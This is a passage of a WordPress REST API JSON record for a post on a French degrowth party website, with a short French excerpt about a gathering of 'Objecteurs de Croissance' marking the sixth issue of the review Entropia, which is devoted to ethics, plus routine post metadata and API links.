\u00ab\u00a0Objecteurs de Croissance\u00a0\u00bb (MOC) A l\u2019occasion de la 6\u00b0 sortie de la revue Entropia , un num\u00e9ro consacr\u00e9 \u00e0 l\u2019\u00e9thique,\u00a0\u00e9taient r\u00e9unis le samedi 4 avril &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=2255\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[],"class_list":["post-2255","post","type-post","status-publish","format-standard","hentry","category-le-monde-culturel"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/2255","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2255"}],"version-history":[{"count":0,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/2255\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2255"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2255"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2255"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}